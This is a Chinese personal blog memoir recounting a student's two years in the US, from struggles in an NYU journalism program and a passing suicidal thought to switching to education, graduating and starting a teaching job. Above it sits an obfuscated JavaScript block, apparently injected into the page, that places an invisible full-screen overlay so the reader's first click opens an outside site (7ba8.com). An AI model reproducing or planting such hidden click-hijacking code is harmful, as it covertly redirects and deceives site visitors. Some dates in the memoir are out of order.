<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我一直觉得,我在美国的故事波澜不惊,没什么好说的。直到有一天,某小朋友对我说:“姐姐,把你在美国的故事都回忆一下吧,我觉得你经历了很多诶!”我才幡然醒悟,趁着长周末不用出去背猪猡,把自己来美国两年的点点滴滴都记录下来
2007年8月6日,我第一次踏上美国,但是和大多数人不一样,我的第一站不是自己的学校,而是另一个海岸的旧金山。从这点上就可以看出,我来美国其实不全部是为了读书,相反,玩性很重的我,想去美国的各大城市转转,不枉此行。大四那年闲着没事,我21年来第一次做家教,认识了一个在旧金山开公司的single mother,她邀请我到旧金山住一个月,她负责吃住,我负责帮她带3岁的儿子。于是,我在22岁生日前一天,神兜兜地踏上了美联航的飞机。
在旧金山我过得不是很开心,毕竟我不擅长带小孩,尤其是一个被宠坏的小男孩。两个星期后,当那个小男孩在我身上踢出了几个乌青块,我的委屈终于爆发了。为了不给那个single mother难堪,我借口去看同学,买了张机票不顾一切地逃到了洛杉矶,在Andy同学的帮助下,混进了UCLA的女生宿舍住了四天。
回想在加州的一个月,我非常感谢Andy,是他在洛杉矶陪着我逛了好莱坞星光大道,陪我玩遍了Universal Studio的所有过山车(虽然下来后他上吐下泻),还和我倒了几趟车去Santa Monica Beach用沙子堆城堡。后来我去机场的路上,Andy忽然对我说:“我们还会见面吗?”我告诉他一定会的,虽然我自己心里也很难过。当然,我们后来在上海见了一次,又在纽约见了一次,这是后话了。
从洛杉矶回旧金山不久,我就要去纽约大学报道了。整个加州给我的印象就是:很温暖,很干净,很明媚……但我总觉得自己在挣扎,因为语言,因为生活习惯,因为那种漂泊不定的归属感。旧金山到纽约的飞机上,我其实心里很怕,不知道纽约会不会和加州一样让我迷失,后来我才知道,加州的那种挣扎,只是一切痛苦的序幕。;
飞机降落在纽约La Guardia机场,我在降落前抓拍到了日出后的纽约,画面定格在2007年8月30日的清晨。
那么多的不顺,一下子向我涌过来——通过朋友找好的房子,原来能破成这样,根本没法住人,我拿起箱子就走人,在纽约的街头无家可归;由于到学校晚了,注册、办学生证、选课、买课本、办手机、开银行帐户、买电脑,别人一个星期完成的事,我用了一天全部做完;去Union Square买书,摔了一跤,膝盖肿到不能走路;UPS把我的课本给寄丢了,由于英语不好,我给NYU bookstore和UPS打了无数电话楞是没打出个结果,双方责任推来推去,眼看都上课一个星期了,我连书都没法看……
如果说膝盖肿了能去医院,书丢了可以再买,这些能用钱解决的事都是小事,那我的last straw来得这么猛烈,让我几乎崩溃了——开学两个星期左右,Reporting New York program因为写作原因劝退了一个台湾女生。作为Reporting the Nation program里唯一的一个国际学生,我的直觉告诉我:下一个就轮到我了。果然,新闻专业的那个参加过朝鲜战争、痛恨亚洲人尤其中国人的无良教授,每天都把kick you out放在嘴边,时刻提醒我——现在我还能留在这个专业是因为他一直在“暗中保护我”,如果我惹他不高兴了,他马上就能把我踢回大洋彼岸的“Red China”。我竟然没有胆量和他争辩,我所求的,只是能**安安度过这个学期,再度过之后的学期,然后顺利毕业,拿着NYU的文凭回国。
那段时间,我不知道多少次晚上在噩梦中惊醒,醒来的时候,胸口疼得厉害,枕头都是湿的。同时我反反复复梦见上外的1029寝室,还有那段无忧无虑的本科时光,可我知道自己再也回不去了。
有一天晚上下课后,大概是9点多样子,我一个人在等地铁,当地铁开过来的瞬间,灯光照得刺眼,我脑子里升起了一个念头:跳下去吧,从此就解脱了……
至今想起这段,心有余悸。
2008年11月,我迎来了人生的转折点。那是一个星期日晚上,我踌躇了整整三个小时,然后把修改了十多遍的Email发到了教育系主任F教授的邮箱里。我想:如果被拒绝了,反正他也不认识我,不算多丢人;如果能被录取……这种幸福,实在是我不敢想象的。
那是一个转折点,一年多后,我和F教授谈起我们当初第一次见面,我认真地告诉他,当初他几乎是救了我的命,他却一头雾水。是的,这就是天意,你以为你做了一件不经意的事情,却改变了别人的一生。
拿到录取通知之后,我如释重负。我们新闻系最后一次聚会是去Newark看城市规划,那个新闻系的教授很high地说:我们下学期会经常来这里采访。我却靠着车窗玻璃,看着窗外明媚的阳光,心如止水。
再见了,新闻系。再见了,我的记者生涯。
2008年的冬天很温暖,我在憧憬中度过了那个寒假。我去了华盛顿看了很多博物馆,又去佛罗里达看米老鼠和Key West,回纽约的时候,还顺带给自己暑假找了一份去北京、香港和曼谷免费旅游的肥差。
2009年的春季开学了,虽然好心的F教授给我转了8个学分到教育系,但面对教育,我是一张白纸。我第一次如饥似渴地读Chomsky和Kreshen的二语习得理论,那是一种发自内心的渴求,因为我真的想学好这个专业。同时,为了结束这种只进不出的日子,我想找一份on campus job,顺便能办SSN。一开始眼高手低,总是找薪水高的工作,碰了几次壁才知道国际学生要找TA/GA是多么不容易。于是我决心脚踏实地,在图书馆找到了一份时薪7.5刀的工作,一周工作20个小时。
据后来一个在图书馆工作的小师妹说,图书馆的老板一直感叹我是她见到过的读书最轻松的学生,每天都要工作4、5个小时,晚上上课,考试居然还都是A。她只是不知道我在新闻系的挣扎罢了,我心里如是想。如果说新闻系是一场苦难,那也是一份经历,熬过了,以后所有的事情都是那么简单透彻。
2008年5月中旬,我从JFK机场离开了纽约,飞回我的故乡上海。这次回去其实不是为了看爸妈,而是身兼了两份overseas program的工作——一份是给University of Miami的新闻课程做program coordinator,一份是给F教授跑腿。短短2个月,我从上海窜到北京,再窜到香港,再窜到曼谷,再窜到西安,顺带还去了上海周边的几个城市。当然,我也了结了一个萦绕已久的心愿——在上海吃一顿麻辣烫,放很多很多的辣椒,辣到我泪流不止,我也不知道是为什么。
2008年7月31日,我的悠长假期结束了。那天中午,爸爸妈妈一起送我去机场,结果爸爸开错了路,眼看着飞机就要赶不上了,爸爸说:“赶不上才好呢,你就可以不走了。”后来到了机场,我和爸妈告别后进安检,保安说我箱子里有可疑物品,硬是打开我的箱子检查。检查完了,我看见妈妈从外面冲了进来帮我整理箱子,她一边整理一边说:“这箱子是我整理的,只有我放得回去。”当妈妈帮我把箱子拉起来的时候,我想我是哭了。
顺带说一句,其实那时候F教授已经答应我会给我在纽约找工作了,所以那次走,我也知道一旦开始工作了,下一次回家的计划就渺渺无期。但是爸妈是为我骄傲的,因为他们所有希望的只是我在美国平安,最好还能顺利拿到NYU的文凭。至于我能在美国找到工作,他们从没奢望过。
回纽约后,我又在图书馆做了一个月。暑假里允许一周打工35个小时,我每天7个小时泡在图书馆赚钱,周末就去东北部的各大城市玩。直到有一天,我收到了F教授的邮件,说他决定雇我做TA,一周20个小时,每小时15刀。
最后一个学期,我只剩下两门课的,剩下的时间,我就一直在F教授那里工作,没事还会加加班,帮他剪一段漂亮的DV,或者设计贺卡,或者教他用PPT。久而久之,F教授误以为我是个勤奋的人,给我介绍工作时估计说了不少好话。当然,希望越大,失望越大,我现在的老板一定对我心灰意冷了,我也在失败中渐渐明白——其实不是我工作能力强,而是这世界上只有一个老板会欣赏我,那就是F教授。记得最后一天工作结束后,我和他道别,他对我说:“我再也不会让别的assistant坐在我的办公室了,因为没有人能超过你。”那一刻,我相信那是真心话。
我几乎是哽咽着毕业的,那种心情,既不是离开上外时的那种对未来的憧憬,也不是离开新闻系时的解脱,而是一种不舍。我一直相信,在NYU最后一个学期的好日子,是我用第一学期的痛苦换来的,命运就是这么公平,你苦过了,自然会甜一下,然后,继续苦一下。好日子终将结束,吃完了最后一顿farewell dinner后,我带着F教授送的礼物,连滚带爬地开始了人生第一份工作。
曾经幻想过这份工作就是在NYU工作的延续,我会一直这么顺利下去,所有的人都会很疼爱我,对我的错误宽宏大量。但这种事情只会出现在小说中,而我,一个23岁揣着硕士文凭毫无工作经验的女孩,被一下子推到了两个班的学生面前。他们中年龄最大也属牛,60岁,比我整整大了3圈,还有人1980年就来了美国,而那时我爸我妈估计还不认识。第一年就让我教两个level,要备两次课,上午班的学生都是continue students,特别难对付。我每天都在叫苦,但每次叫完苦,我会想想在新闻系的日子,然后我走上讲台,继续微笑着面对学生,直到有一天,或者我崩溃,或者我存活。
前两个星期刚把H1B申请交出去,听说今年不用抽签了,本来挺开心的。但又得知H1B期间,如果离开美国,回国返签可能会被拒。这就意味着,保险起见,我3年内甚至6年内不能回国?如果工作的代价是放弃亲情,我觉得这样也未免太残忍了!
关于爱情:他是在我最无助的时候出现的,刚到美国来受了那些打击,我觉得自己什么都不是,所以当他追我的时候,我在不知道自己是谁的情况下就开始了。本来以为我们可以这样相安无事平淡无奇地走下去,可他又在我生活开始顺利的时候背叛了我,我大哭了一场,然后,不再流一滴眼泪地离开,从此,月盈月亏,与我无关。
关于友情:我在新闻系有过一个最好的朋友,也许是因为惺惺相惜,她被劝退的时候,我比自己被劝退更难过。但在后来她剽窃了我的论文,我第一次明白了在利益下没有朋友,所有的人都本着生存第一的准则。我理解她,但我不能原谅她。
后来在教育专业,我遇到了三个最好的朋友,一个是和我一起从上外到NYU的同学,一个是和我一起帮Teaching & Learning工作的同道,还有一个是我现在的同事。很庆幸,我们没有利益冲突,所以一直玩得很好。我们自封为四个“小主”,从新泽西BBQ玩到尼亚加拉大瀑布,从St. Mart的Grand Sichuan吃到Flushing的火锅,还在Queens Mall买一样的衣服一样的裙子一起穿到F教授的课上花痴。后来,一个小主走了,剩下三个小主疲于奔命,只剩下无忧无虑的学生时代不时地在心底回荡一番。
这就是我这两年来走过的路,仅仅两年,却好像和我过去的十年经历的一样多。这条路,我继续要走下去,不管开心或是忧伤,不管希望还是绝望,我只是想看看:我的美国路还有多远、多长。 |